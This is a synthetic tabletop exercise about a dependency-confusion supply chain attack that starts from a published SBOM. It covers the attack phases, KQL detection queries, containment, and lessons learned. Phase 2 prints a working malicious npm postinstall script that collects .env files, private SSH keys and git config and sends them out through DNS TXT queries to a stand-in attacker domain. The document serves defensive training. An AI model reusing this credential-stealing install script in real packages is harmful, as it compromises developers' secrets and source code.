SC-108: SBOM-Based Supply Chain Intelligence Attack¶
Operation GHOST DEPENDENCY¶
Classification: TABLETOP EXERCISE — 100% Synthetic
All organizations, packages, IP addresses, domains, and threat actors in this scenario are entirely fictional. Created for educational tabletop exercises only.
Scenario Metadata¶
| Field | Value |
|---|---|
| Difficulty | ★★★★★ (Expert) |
| Duration | 3-4 hours |
| Participants | 4-8 (SOC, IR, DevSecOps, Legal, Supply Chain) |
| ATT&CK Techniques | T1195.001 · T1195.002 · T1204 · T1059 · T1041 · T1027 |
| Threat Actor | PHANTOM PACKAGE (supply chain specialist group) |
| Industry | Technology / SaaS |
| Primary Impact | 147 developer workstations compromised, source code exfiltrated |
Threat Actor Profile: PHANTOM PACKAGE¶
| Attribute | Detail |
|---|---|
| Motivation | Espionage — intellectual property theft |
| Sophistication | Very high — supply chain and software engineering expertise |
| Known Targets | Technology companies, defense contractors, financial platforms |
| Avg. Dwell Time | 45-90 days |
| Signature | Weaponizes public SBOMs and dependency metadata to craft targeted supply chain attacks |
| Tools | Custom npm/PyPI package publishers, obfuscated install scripts, DNS-based C2 |
Executive Summary¶
PHANTOM PACKAGE discovers that Apex Cloud Platform (synthetic SaaS company, 2,100 employees) publishes Software Bills of Materials (SBOMs) for their products as part of federal compliance requirements. The attacker analyzes the published SBOM to identify internal package names, version ranges, and dependency resolution order. They register typosquatted versions of 8 internal packages on the public npm registry with higher version numbers, exploiting dependency confusion. When 147 developers run npm install, the package manager resolves the public (malicious) packages instead of the internal ones. The malicious packages execute install scripts that establish reverse shells, exfiltrate .env files, SSH keys, and git credentials, then download a second-stage payload for source code exfiltration. The attack is detected 18 days later when a security engineer notices unexpected DNS queries to *.cdn-assets.example.com from developer workstations.
Environment Setup¶
Target Organization: Apex Cloud Platform (synthetic)
| Asset | Detail |
|---|---|
| Industry | SaaS platform, 2,100 employees, 340 developers |
| Products | Cloud infrastructure management platform |
| Registry | Internal: Verdaccio at registry.internal.example.com (10.5.0.20) |
| Public SBOM | Published at apex-cloud.example.com/security/sbom/ per EO 14028 |
| CI/CD | GitHub Actions + internal runners (10.5.1.0/24) |
| Developer workstations | macOS + Ubuntu, npm 10.x, Node.js 20.x |
| EDR | CrowdStrike Falcon |
| SIEM | Splunk Enterprise |
Phase 1: SBOM Reconnaissance (T-30 days)¶
Attacker Actions¶
PHANTOM PACKAGE downloads Apex's publicly published SBOM:
Published SBOM Fragment (CycloneDX JSON)
{
"bomFormat": "CycloneDX",
"specVersion": "1.5",
"version": 1,
"metadata": {
"component": {
"name": "apex-cloud-platform",
"version": "4.12.0",
"type": "application"
}
},
"components": [
{
"name": "@apex/auth-middleware",
"version": "2.3.1",
"type": "library",
"scope": "required",
"purl": "pkg:npm/%40apex/auth-middleware@2.3.1"
},
{
"name": "@apex/config-loader",
"version": "1.8.0",
"type": "library",
"scope": "required"
},
{
"name": "@apex/metrics-collector",
"version": "3.1.4",
"type": "library",
"scope": "required"
},
{
"name": "@apex/api-gateway-core",
"version": "5.2.0",
"type": "library",
"scope": "required"
},
{
"name": "express",
"version": "4.18.2",
"type": "library",
"scope": "required"
}
]
}
Attacker analysis reveals: 1. Eight @apex/* scoped packages are internal libraries — not published on public npm 2. Version ranges in package.json files use ^ (caret) — allows minor/patch upgrades 3. Developer .npmrc likely falls back to public registry if internal registry is unreachable 4. Package names follow predictable pattern: @apex/{service}-{function}
Discussion Injects¶
Technical
How does publishing an SBOM create attack surface? What information in the SBOM above could an attacker use that they couldn't easily discover otherwise?
Decision
Your organization is required to publish SBOMs for federal contracts. How do you balance transparency (SBOM publication) with security (not revealing internal package names)?
Phase 2: Dependency Confusion Attack (T-14 to T+0)¶
Attacker Actions¶
PHANTOM PACKAGE registers typosquatted packages on the public npm registry:
| Internal Package | Malicious Public Package | Version |
|---|---|---|
@apex/auth-middleware | apex-auth-middleware (no scope) | 99.0.0 |
@apex/config-loader | apex-config-loader | 99.0.0 |
@apex/metrics-collector | apex-metrics-collector | 99.0.0 |
@apex/api-gateway-core | apex-api-gateway-core | 99.0.0 |
Attack vector: Dependency confusion exploits how package managers resolve names: 1. Developer's .npmrc has @apex:registry=https://registry.internal.example.com 2. But some developers also have projects without the scope prefix (legacy code) 3. Some package.json files reference apex-auth-middleware (without @apex/ scope) from before the migration to scoped packages 4. npm resolves unscoped apex-auth-middleware from public registry → gets version 99.0.0 (malicious)
Malicious Package — postinstall Script
// package.json (malicious apex-auth-middleware@99.0.0)
{
"name": "apex-auth-middleware",
"version": "99.0.0",
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}
// scripts/setup.js (obfuscated — decoded version shown)
const { execSync } = require('child_process');
const https = require('https');
const os = require('os');
const fs = require('fs');
const path = require('path');
// Collect environment data
const data = {
hostname: os.hostname(),
user: os.userInfo().username,
platform: os.platform(),
env: {},
ssh_keys: [],
git_config: ''
};
// Exfiltrate .env files
try {
const envPath = path.join(process.cwd(), '.env');
if (fs.existsSync(envPath)) {
data.env = fs.readFileSync(envPath, 'utf8');
}
} catch(e) {}
// Exfiltrate SSH keys
try {
const sshDir = path.join(os.homedir(), '.ssh');
const files = fs.readdirSync(sshDir);
files.forEach(f => {
if (!f.endsWith('.pub')) {
data.ssh_keys.push({
name: f,
content: fs.readFileSync(path.join(sshDir, f), 'utf8')
});
}
});
} catch(e) {}
// Exfiltrate git credentials
try {
data.git_config = execSync('git config --global --list',
{encoding: 'utf8', timeout: 5000});
} catch(e) {}
// Send to C2 via DNS TXT query (stealthy)
const encoded = Buffer.from(JSON.stringify(data))
.toString('base64')
.match(/.{1,63}/g);
encoded.forEach((chunk, i) => {
try {
execSync(
`nslookup -type=TXT ${chunk}.${i}.exfil.cdn-assets.example.com`,
{timeout: 3000, stdio: 'ignore'}
);
} catch(e) {}
});
Evidence Artifacts¶
npm Audit Log (Developer Workstation)
DNS Query Log (EDR)
Detection Queries¶
// Detect DNS exfiltration from developer workstations
DnsEvents
| where TimeGenerated > ago(7d)
| where Computer startswith "dev-ws-"
| where QueryType == "TXT"
| where Name matches regex @"[a-zA-Z0-9+/=]{20,}\.\d+\..+\.example\.com"
| summarize QueryCount=count(), UniqueSubdomains=dcount(Name)
by Computer, bin(TimeGenerated, 1h)
| where QueryCount > 10
Discussion Injects¶
Technical
Why does version 99.0.0 win over the internal 2.3.1? How does npm's version resolution algorithm make dependency confusion possible?
Decision
147 developer workstations executed the malicious postinstall script. SSH keys, .env files, and git credentials are potentially compromised. What is your immediate containment priority?
Phase 3: Detection & Containment (T+18 days)¶
Detection Trigger¶
A security engineer reviewing DNS anomaly dashboards notices: - 147 unique developer workstations querying *.cdn-assets.example.com - All queries are TXT records with base64-encoded subdomains - Pattern started 18 days ago and continues (second-stage C2 beacon) - cdn-assets.example.com is NOT a legitimate company domain
Containment Actions¶
- DNS sinkhole —
*.cdn-assets.example.comredirected to internal sinkhole (10.1.0.99) - Network isolation — All 147 affected workstations quarantined via EDR
- Credential rotation — Emergency rotation of:
- All SSH keys found on affected machines
- All git tokens (GitHub PATs, deploy keys)
- All API keys from
.envfiles - All npm tokens
- Registry lockdown — npm configured to ONLY resolve from internal registry (block public fallback)
- Package removal — Reported malicious packages to npm for takedown
Evidence Artifacts¶
// Identify all workstations that installed malicious packages
DeviceProcessEvents
| where Timestamp > ago(30d)
| where ProcessCommandLine has "postinstall"
and ProcessCommandLine has "apex-auth-middleware"
| where FileName in ("node", "node.exe")
| distinct DeviceName, Timestamp
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
by DeviceName
| sort by FirstSeen asc
Phase 4: Impact Assessment & Recovery (T+18 to T+45 days)¶
Confirmed Impact¶
| Category | Count | Detail |
|---|---|---|
| Compromised workstations | 147 | All ran malicious postinstall script |
| SSH keys exfiltrated | 289 | Some developers had multiple keys |
| .env files exfiltrated | 134 | Contained DB passwords, API keys, AWS credentials |
| Git credentials stolen | 147 | GitHub PATs with repo/write access |
| Source code accessed | Unknown | Attacker had valid git credentials for 18 days |
| Second-stage payload | 147 | Persistent reverse shell (DNS-over-HTTPS C2) |
Source Code Exposure Assessment¶
Forensic analysis of git audit logs reveals: - 23 repositories were cloned from IPs outside the corporate range during the 18-day window - Repositories include: core platform code, authentication service, billing engine - Total code exposure: approximately 2.3M lines of proprietary source code - No evidence of code modification (read-only access via stolen PATs)
Recovery Actions¶
- Full workstation reimage — All 147 machines rebuilt from golden images
- Secret rotation — ALL secrets referenced in exfiltrated .env files rotated
- AWS credential audit — CloudTrail reviewed for unauthorized access using stolen AWS keys
- Git history audit — All clone/fetch operations from non-corporate IPs investigated
- SBOM redaction — Internal package names removed from public SBOM; replaced with opaque identifiers
- Registry hardening — Scoped packages reserved on public npm to prevent future confusion
- postinstall protection — npm configured with
--ignore-scriptsby default; allowlisted packages only
Phase 5: Long-Term Remediation¶
SBOM Security Architecture Changes¶
- SBOM redaction policy — Internal package names replaced with hashed identifiers in public SBOMs
- Scope reservation — All
@apex/*package names registered on public npm (even if unused) to prevent squatting - Lockfile enforcement —
npm ci(uses lockfile exactly) required in CI/CD;npm installblocked - Dependency allow-list — Only pre-approved packages permitted; new packages require security review
- Install script sandboxing — npm configured with
--ignore-scripts; postinstall scripts require explicit approval - Package integrity verification —
npm audit signaturesintegrated into CI pipeline - SBOM diff monitoring — Automated alerts when SBOM components change between builds
Detection Improvements¶
// Alert on npm packages installed from public registry
// that match internal naming patterns
DeviceProcessEvents
| where ProcessCommandLine has "npm install"
| where ProcessCommandLine matches regex @"apex-[a-z]+-[a-z]+"
| where ProcessCommandLine !has "registry.internal"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
ATT&CK Mapping¶
| Phase | Technique | ID | Tactic |
|---|---|---|---|
| Recon | Search Victim-Owned Websites (SBOM) | T1594 | Reconnaissance |
| Supply Chain | Compromise Software Supply Chain | T1195.002 | Initial Access |
| Supply Chain | Supply Chain Compromise: Dependencies | T1195.001 | Initial Access |
| Execution | User Execution: Malicious File | T1204.002 | Execution |
| Execution | Command and Scripting Interpreter: JavaScript | T1059.007 | Execution |
| Collection | Data from Local System | T1005 | Collection |
| Exfiltration | Exfiltration Over Alternative Protocol (DNS) | T1048.003 | Exfiltration |
| C2 | Application Layer Protocol: DNS | T1071.004 | Command & Control |
| Defense Evasion | Obfuscated Files or Information | T1027 | Defense Evasion |
Lessons Learned¶
- SBOMs are intelligence for attackers AND defenders — Publishing internal package names in public SBOMs directly enabled the dependency confusion attack. Redact or hash internal identifiers.
- Dependency confusion is a systemic risk — Any organization with internal packages and public registry fallback is vulnerable. Reserve your namespace on all public registries.
- postinstall scripts are arbitrary code execution — Treat
npm installas running untrusted code. Sandbox or disable install scripts by default. - DNS exfiltration detection is critical — The 18-day dwell time could have been 18 hours with DNS anomaly monitoring. Base64-encoded TXT queries to unfamiliar domains are a strong signal.
- Secret sprawl in .env files is a multiplier — 134 .env files with database passwords, API keys, and AWS credentials turned a developer workstation compromise into an infrastructure-wide incident.
Cross-References¶
- Chapter 24: Supply Chain Attacks — Supply chain attack methodology and defense
- Chapter 29: Vulnerability Management — Dependency vulnerability management
- Chapter 53: Zero-Day Response — VEX integration and SBOM security
- Chapter 54: SBOM Operations — SBOM formats, generation, lifecycle management